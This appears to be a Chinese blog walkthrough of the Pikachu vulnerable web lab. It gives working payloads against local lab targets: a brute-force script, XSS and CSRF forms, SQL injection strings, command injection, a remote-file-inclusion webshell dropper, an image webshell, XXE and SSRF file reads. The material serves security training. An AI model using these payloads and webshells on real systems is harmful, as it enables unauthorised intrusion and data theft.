写在前面
因为之前的个人网站没有添加图片,所以之前的靶场类都打算重写,但是太浪费时间,也没心情去写
周五的时候一个学长让我做一下pikachu靶场,顺便写成文章吧
耗时近两天(周六14h+周日8h)
搭建
下载小皮面板(PhpstudyPro)

双击安装

点击自定义选择

按需设置路径等

安装ing

安装完成

双击打开

修改web服务器

下载靶场

启动服务

打开网站根目录

下载的靶场解压到此处并重命名为pikachu

修改配置文件

填写数据库密码

编辑config.inc.php

打开浏览器输入http://127.0.0.1/pikachu/install.php
点击初始化开始安装

安装完成

通关步骤
暴力破解
概述

基于表单的暴力破解
原理: 部分用户甚至管理员设置的密码较为简单(弱口令),可以通过逐个尝试判断中有效的用户名和密码
方法1:使用Burpsuite的Intrunder模块进行暴力破解
开启流量拦截

开启浏览器代理

如果不适用内嵌浏览器,burpsuite拦截不到回环流量,需要把127.0.0.1改成任意网卡的地址,我这改成了192.168.19.1

输入任意内容,分析传输数据

发送到攻击器(Intruder)

添加payload
分别选中①②,分别点击③

添加后效果

选择类型: 集群炸弹攻击

指定字典
payload1为用户名

payload2为密码

开始攻击

漫长的等待……

得到正确密码


方法2:通过python脚本进行暴力破解
import requests
url = "http://192.168.79.1/pikachu/vul/burteforce/bf_form.php"
# 读取用户名字典
# usernames = []
# f_user = open("user.txt", "r", encoding="utf-8")
# while True:
# line = f_user.readline()
# if not line:
# break
# line = line.strip()
# if line:
# usernames.append(line)
# f_user.close()
# 读取密码字典
# passwords = []
# f_pass = open("pass.txt", "r", encoding="utf-8")
# while True:
# line = f_pass.readline()
# if not line:
# break
# line = line.strip()
# if line:
# passwords.append(line)
# f_pass.close()
# 字典中的字段需要一个一行
usernames = ["admin", "user", "test", "pikachu"]
passwords = ["123456", "admin", "123123", "password", "root"]
for username in usernames:
for password in passwords:
data = {
"username": username,
"password": password,
"submit": "Login"
}
res = requests.post(url, data=data)
if "login success" in res.text:
print(f"破解成功!用户名:{username} 密码:{password}")
exit()
else:
print(f"尝试失败:{username} / {password}")

注: login success字段只是Pikachu的登录成功提示,并不是固定的
源码分析

正如注释所见,只有一句查询语句,没有任何安全验证
验证码(on server)
分析:
使用burpsuite抓包

发现多了一个字段
发送到重放器,提交几次,发现验证码刷新后但是没有报验证码相关的错,验证码并不会失效

发送到攻击器(Intruder)

添加payload

类型选择:集群炸弹攻击

指定字典


开始攻击 && 等待

得到正确用户名密码

源码分析

在验证码判断后,没有销毁session['vscode'],验证码可以一直被重复利用
验证码(on client)
分析

发现验证码是通过前端js验证的
停用js验证

绕过了判断
开始爆破

发送到攻击器(Intruder)

添加payload

选择类型:集群炸弹攻击

指定字典


开始攻击 && 等待

得到正确的用户名和密码

源码分析

源码中没有验证码变量
token防爆破?
分析
前端没有验证码

请求中存在token

发送到重复器后,token不能够重复利用

查看页面源码

发现隐藏类型的input标签
发送到攻击器

尝试暴力破解,添加payload(一定要将整个字段一起选中,否则后续会出问题)

类型选择:Pitchfork攻击模式

用户名和密码依旧使用字典


token字段选择递归提取
设置提取位置(全部选中)

设置检索内容

设置线程

开始攻击 && 等待

得到正确的用户名和密码

源码分析
这里输出了token的值,可以递归提取token

Cross-Site Scripting
概述

xss是在注入点可以执行js代码,所以目标是执行js代码,不是设计具有攻击性的payload
反射型xss(get)
反射型xss是在前端执行js代码,如果将具有恶意js代码的url复制后,别人点击打开就会执行
<script>alert()</script>

输入到r以后输入不了了,查看输入框的页面源码

将长度限制改大一些或者直接删掉,即可继续输入

成功执行alert()

反射型xss(post)

目标是获取cookie

登陆后输入payload
<script>alert(document.cookie)</script>

postxss若想做到别人点击即执行,需要通过页面跳转
<form action="http://192.168.19.1/pikachu/vul/xss/xsspost/xss_reflected_post.php" method="POST">
<input type="hidden" name="参数名" value="<script>alert(1)</script>">
</form>
<script>document.forms[0].submit();</script>
将以上代码写到一个静态网页中,然后将静态网页的地址复制转发,即可做到与get型同样的效果
存储型xss
存储型的xss是写入后端被记录的内容,写入后在前端打开网页就执行js代码
<script>alert()</script>

写入后别人打开网页即可执行
DOM型xss
补:DOM是什么?
简单来说,DOM就是家谱一样的东西,将前端源码转为一级一级的形式给js看,然后js才能看懂
输入常规payload后,发现没有执行,查看页面源码

输入的内容被强制写入了a标签的href属性中,我们尝试闭合a标签的href属性
innerHTML 插入的 script 标签,默认不执行,所以我们需要使用别的方法,这里选择使用标签的属性执行js代码
'><img src="#" onclick="alert()"
当我们点击图片的时候,就能够执行alert

DOM型xss-x
随便输入一些内容观察

本关将输入的内容拼接到了url中,添加了简单的过滤,不过与我们的payload没有啥关系,直接输入payload即可
'><img src="#" onclick="alert()"

xss之盲打
XSS盲打(Blind XSS)是存储型XSS的一种特殊变体,其核心挑战在于攻击者无法直接看到攻击结果。这通常发生在用户输入被存储在服务器(如数据库、日志文件)中,但不会在当前页面立即显示,而是由其他用户(如管理员)在后台或其他页面查看时才会触发。
<script>alert()</script>

提交后按照提示访问后台管理页面/xssblind/admin_login.php

按照用户名密码登录

登录后成功执行js代码


xss之过滤
<script>alert()</script>

没有执行,提示说有些内容被过滤了,尝试绕过
大小写绕过
<Script>alert()</Script>

xss之htmlspecialchars

htmlspecialchar会将以下五个字符转义为实体编码
| 原字符 | 转义后 | 说明 |
|---|---|---|
| ------ | ------- | -------------------- |
| `&` | \& | 和号(必须最先转) |
| `<`< /td> | \< | 小于号 |
| `>` | \> | 大于号 |
| `"` | \" | 双引号 |
| `'` | \' | 单引号(需开启参数) |
使用javascript伪协议绕过或事件处理器(onclick一类)即可
javascript:alert()

xss之href输出
与htmlspecialchar相同,使用javascript伪协议绕过

xss之js输出
它模拟的是反射型XSS的一种特殊场景:恶意代码的注入点位于 JavaScript 代码块内部,而非普通的 HTML 标签内。
随便输入内容测试
找到script代码

尝试闭合script标签,跳过判断
'</script><script>alert()</script>

CSRF
概述

CSRF(get)

登录后点击修改个人信息

抓包发送到重放器


在没有获得用户名密码的情况下,通过请求信息修改了用户数据
CSRF(post)
post与get是一样的,不同点在于请求位置不同

CSRF Token

在下一次修改前查看返回的token并替换请求中的token
总结
XSS和CSRF的区别在哪
CSRF是借助用户的权限完成攻击,攻击者并没有拿到用户的权限。目标构造修改个人信息的链接,利用lucy在登录状态下点击此链接达到修改信息的目的。
XSS直接盗取了用户的权限,然后实施破坏。攻击者利用XSS盗取了目标的Cookie,登录lucy的后台,再修改相关信息。
SQL-Inject
概述
sql注入总结

数字型注入(post)

因为是post型注入,不能直接修改页面内容,所以使用hackbar或者burpsuite抓包修改post数据,我选择使用hackbar

已知条件为数字型注入,不用判断注入类型和闭合方式了
判断字段数
id=6 order by 2&submit=%E6%9F%A5%E8%AF%A2

id=6 order by 3&submit=%E6%9F%A5%E8%AF%A2

一共有两个字段
联合查询
判断回显点
id=6 union select 1,2&submit=%E6%9F%A5%E8%AF%A2

查数据库名

当前库名为pikachu
查表名
id=-6 union select database(),(select group_concat(table_name) from information_schema.tables where table_schema="pikachu")&submit=%E6%9F%A5%E8%AF%A2

剩余信息通过修改sql语句随意查询
字符型注入(get)

判断闭合方式
1'

1' -- +

单引号闭合
判断字段数
kobe' order by 2-- +

kobe' order by 3-- +

字段数为2
联合查询
判断回显点
1' union select 1,2 -- +

查数据库名
1' union select database(),2 -- +

剩余信息随便查
搜索型注入

判断闭合方式
'

' -- +

单引号闭合
判断字段数
' order by 3-- +

判断字段数
kobe' order by 3-- +

kobe' order by 4-- +

联合查询
判断回显点
test' union select 1,2,3 -- +

查看当前数据库
test' union select database(),2,3 -- +

剩余信息随便查
XX型注入
判断闭合方式
'
') -- +


GET型 单引号括号闭合
判断字段数
使用老账号kobe
kobe') order by 3-- +

kobe') order by 2-- +

联合查询
判断回显点
1') union select 1,2 -- +

查看当前库名
1') union select database(),2 -- +

剩余信息随便查
"insert/update"注入

点击注册

报错注入:updatexml()
原理:insert into (a,b,c) values('value1','2','3');
使用引号闭合values中的值,然后就可以插入sql语句
' or updatexml(1,concat(0x7e,database()),0) or '

其它信息则将sql语句中的database()替换即可
update与insert同理
' or updatexml(1,concat(0x7e,database()),0) or '


"delete"注入

发现删除按钮中有get请求,使用burpsuite抓包

发送到重放器

1 or updatexml(1,concat(0x7e,database()),0)


"http header"注入

登录并抓包登录数据发送到重放器


寻找注入点

' or updatexml(1,concat(0x7e,database()),0) or '

盲注(base on boolian)
kobe' and length(database())>=7 -- +

kobe' and length(database())>=8 -- +

数据库名长度为7
kobe' and (select substr(datebase(),1,1))='97' -- +

从97开始去挨个试…
最后拼接出数据库名,其它字段亦如此
盲注(base on time)
如果页面延迟刷新,代表payload生效
kobe' and if(ascii(substr(database(),1,1))=112,sleep(5),0) -- +

挨个判断
宽字节注入
kobe%df' or 1=1#
REC
概述

exec "ping"
简单的命令执行
常见的命令执行拼接符
# Uinx/Linux
; 顺序执行
&& 前一条成功后一条才执行
|| 前一条失败后一条才执行
| 管道,前输出当作后输入
$()/` 嵌套
%0a 换行
# Windows
&
&&
||
127.0.0.1|ls

exec "eval"
phpinfo();

File Inclusion
概述

File Inclusion(local)

include()可以在页面内包含其他的页面,include_once()只会包含一次,避免重复定义报错
例如:pikachu靶场的header和footer都是通过include_once()引入的


在url中通过修改filename="xxx"字段即可做到本地文件包含
例:读取index页
../../../index.php

File Inclusion(remote)
条件
1.php.ini中allow_url_include和allow_url_fopen的开启
2.所包含的远程文件后缀不能与目标服务器语言相同. (比如目标服务器是php解析的, 远程服务器的文件不能是php)
在本地写攻击脚本
<?php
$myfile = fopen("1.php", "w");
$txt = '<?php @eval($_POST["test"]);?>';
fwrite($myfile, $txt);
fclose($myfile);
?>
开启php监听
为了体现远程,我将这个脚本放到kali中开启php服务

在本机访问此文件
http://192.168.19.133:8000/1.txt

此时,在目录下已经生成了1.php

使用蚁剑连接
http://192.168.19.1/pikachu/vul/fileinclude/1.php

Unsafe Filedownload
概述

Unsafe Filedownload

查看前端源码发现下载连接
可以将filename随意修改,下载一些未经授权的文件
execdownload.php?filename=../../../README.md

Unsafe Fileupload
概述

PHP一句话木马
<?php eval($_POST['test']);?>
client check
客户端检查时在上传之前通过js检查,可以通过关闭js调试和抓包后修改文件后缀名
停用js调试

抓包修改后缀名
首先将php木马的后缀名修改为jpg

抓包修改后缀


上传成功

MIME type
常见MIME
超文本标记语言文本 .html、.html:text/html
普通文本 .txt: text/plain
RTF 文本 .rtf: application/rtf
GIF 图形 .gif: image/gif
JPEG 图形 .jpeg、.jpg: image/jpeg
au 声音文件 .au: audio/basic
MIDI 音乐文件 mid、.midi: audio/midi、audio/x-midi
RealAudio 音乐文件 .ra、.ram: audio/x-pn-realaudio
MPEG 文件 .mpg、.mpeg: video/mpeg
AVI 文件 .avi: video/x-msvideo
GZIP 文件 .gz: application/x-gzip
TAR 文件 .tar: application/x-tar
抓包

将content-type改为image/png

上传成功

getimagesize
getimagesize(string filename)函数是PHP中的一个内置函数,用于获取指定图像文件的尺寸和其他相关信息。
函数参数:
filename:要获取信息的图像文件的路径或URL。
函数返回值:
如果指定的文件是一个有效的图像文件,则返回一个包含图像尺寸和其他信息的关联数组,例如:
[0]:图像的宽度(像素)
[1]:图像的高度(像素)
[2]:图像类型的常量
[3]:包含字符串描述的图像类型,如"width=100 height=100"等
'mime':图像的MIME类型
如果指定的文件不是一个有效的图像文件,则返回false。
生成图片马
test.php中内容改为
<?php
$myfile = fopen("1.php", "w");
$txt = '<?php @eval($_POST["test"]);?>';
fwrite($myfile, $txt);
fclose($myfile);
?>
使用copy /b生成图片马
copy /b xx.jpg + test.php 1.jpg

上传成功

访问图片马
来到靶场/vul/fileinclude/fi_local.php目录下,拼接图片马返回的url,然后会在文件包含目录中生成1.php,最后使用蚁剑连接
Over Permission
概述

水平越权

使用lucy登录

修改url中的lucy为lili

在没有登录的前提下访问到了其它平级用户的信息,属于水平越权
垂直越权

使用admin登录
发现有创建用户的权限

添加一个用户

复制其url
使用pikachu登录

访问刚才复制的url
http://192.168.19.1/pikachu/vul/overpermission/op2/op2_admin_edit.php

发现在pikachu用户中,也能够进行添加用户
在普通用户下执行了管理员用户的操作,属于垂直越权
../../
概述

目录遍历
点击标题后,可访问文章

将文章名改为../../../index.php

敏感信息泄露
概述

IcanseeyourABC

使用lili登录

PHP反序列化
概述

PHP反序列化漏洞
通过脚本构造一个序列化的字符串

O:1:"S":1:{s:4:"test";s:24:"<script>alert()</script>";}
将payload填写到输入框中

XXE
概述

XXE漏洞
判断有无回显
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe "回显" > ]>
<a>&xxe;</a>

有回显,构造payload
payload
使用file协议查看win.ini
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]>
<a>&xxe;</a>

URL重定向
概述

不安全的URL跳转

在点击url的时候,一定要确认好是正确的url
SSRF
概述

SSRF(curl)

curl支持http、file等多种协议
http

file

SSRF(file_get_content))
在www下写入flag.txt

file协议
?file=file:///H:\phpstudy_pro\WWW\flag.txt

php伪协议
?file=php://filter/read=convert.base64-encode/resource=H:\phpstudy_pro\WWW\flag.txt

使用base64解码
